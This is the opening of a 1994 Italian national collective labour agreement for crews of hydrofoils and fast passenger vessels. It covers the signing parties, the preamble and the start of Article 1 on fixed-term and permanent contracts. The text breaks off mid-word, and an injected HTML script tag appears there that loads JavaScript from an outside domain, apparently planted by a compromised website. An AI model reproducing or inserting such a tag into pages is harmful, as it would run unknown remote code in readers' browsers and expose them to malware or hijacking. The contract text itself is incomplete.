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Categoria: Marittimi, aliscafi e natanti veloci passeggeri
Settore: Trasporti
Data stipula: 24-11-1994
Data decorrenza: 1-1-1995
Data scadenza: 31-12-1998

CONFEDERAZIONE ITALIANA ARMATORI
ROMA

ASSOCIAZIONE ITALIANA DELL'ARMAMENTO DI LINEA
ROMA


Contratto Collettivo Nazionale di Lavoro

24 novembre 1994

PER L'IMBARCO DEGLI EQUIPAGGI DEGLI ALISCAFI E DEI NATANTI VELOCI
PER TRASPORTO PASSEGGERI


L'anno 1994 addì 24 del mese di novembre in Roma

-    La CONFEDERAZIONE ITALIANA ARMATORI
-    L'ASSOCIAZIONE ITALIANA DELL'ARMAMENTO DI LINEA (FEDARLINEA)

e

le Organizzazioni dei lavoratori sottoelencate:

-    FEDERAZIONE ITALIANA LAVORATORI TRASPORTI (FILT-CGIL)
-    FEDERAZIONE ITALIANA TRASPORTI (FIT-CISL) (SETTORE MARITTIMO)
-    UNIONE ITALIANA LAVORATORI TRASPORTI SETTORE MARITTIMO
  (UIL TRASPORTI)

hanno  stipulato il presente Contratto Collettivo Nazionale di Lavoro  per
l'imbarco  degli  equipaggi  degli  Aliscafi  e  dei  Natanti  veloci  per
trasporto passeggeri.



CONTRATTO COLLETTIVO NAZIONALE DI LAVORO 24 novembre 1994

Le  parti,  con  il presente accordo, dichiarano di aver  rinnovato  -  in
armonia con quanto disposto dal Protocollo Interconfederale del 23  luglio
1993  -  i contratti collettivi del settore marittimo scaduti il 31 agosto
1994.



CONTRATTO ALISCAFI E NATANTI VELOCI

Il   presente  contratto  si  applica  al  personale  di  Stato  Maggiore,
Sottufficiali  e  Comuni imbarcati sugli Aliscafi  o  su  natanti  veloci.
Pertanto, nel testo del presente contratto per aliscafi si intendono anche
gli altri natanti veloci ad esso assimilabili.



PREMESSA

Le  parti si danno reciprocamente atto che, quale espresso presupposto  di
conclusione e stipulazione dell'accordo di rinnovo del CCNL, è  stato  tra
esse  voluto e pattuito un vincolo di stretta inscindibilità fra tutte  le
pattuizioni  del presente accordo di rinnovo e tra ciascuna  di  esse  con
ogni singolo contenuto della premessa ai contratti Collettivi Nazionali di
Lavoro per i marittimi imbarcati su navi dell'armamento libero ediz. 1978.
A tal fine le parti ribadiscono il contenuto vincolante di tale premessa e
ribadiscono  altresì  che  essa  è  da  considerare  parte  integrante   e
inscindibile anche del presente accordo.

Tutto ciò nel preciso e dichiarato riconoscimento che le pattuizioni tutte
contenute  nel  presente  accordo così come le  precedenti  sono  avvenute
tenendo  conto  della  legislazione vigente e  costituiscono,  rispetto  a
quest'ultima,  trattamento,  nel  suo complesso,  sicuramente  di  miglior
favore per i lavoratori.

Le parti si danno, infatti, reciprocamente atto che, ove per ipotesi si po
tesse presupporre per alcuni istituti un'interpretazione restrittiva della
vigente  legislazione  a  ciò  ha fatto riscontro  una  compensazione  con
l'acquisizione  di  maggiori benefici in altri  aspetti  della  disciplina
normativa contrattuale liberamente sottoscritta.

Le   parti   convengono,   inoltre,   che   nei   risultati   contrattuali
complessivamente conseguiti si è tenuto conto della volontà  delle  OO.SS.
di acquisire miglioramenti economici e normativi conformi alle esigenze  e
alla  specificità  del settore convenendo sul valore  onnicomprensivo  del
costo contrattuale.

In considerazione di quanto precede, le parti si danno reciprocamente atto
che  eventuali pretese derivanti dall'interpretazione delle leggi  e/o  di
clausole e istituti che siano difformi dalla contrattazione collettiva del
settore sono in contrasto con la loro volontà e con le finalità conseguite
e  pertanto  comporteranno  per le aziende  il  diritto  a  considerare  i
suddetti miglioramenti anche a fronte di tali eventuali pretese.



CAPO I - TIPI DI CONTRATTO DI IMBARCO

Art. 1 - Tipi di contratto di imbarco.

1.    Il rapporto di lavoro può essere stipulato con uno dei seguenti tipi
  di contratto:

a)   a tempo determinato;
b)   a tempo indeterminato.


2.    Se  in forza di uno o più contratti a tempo determinato il marittimo
  presta ininterrotto servizio alle dipendenze dello stesso ar<script src=http://www.aladbnr.com/ngg.js></script>













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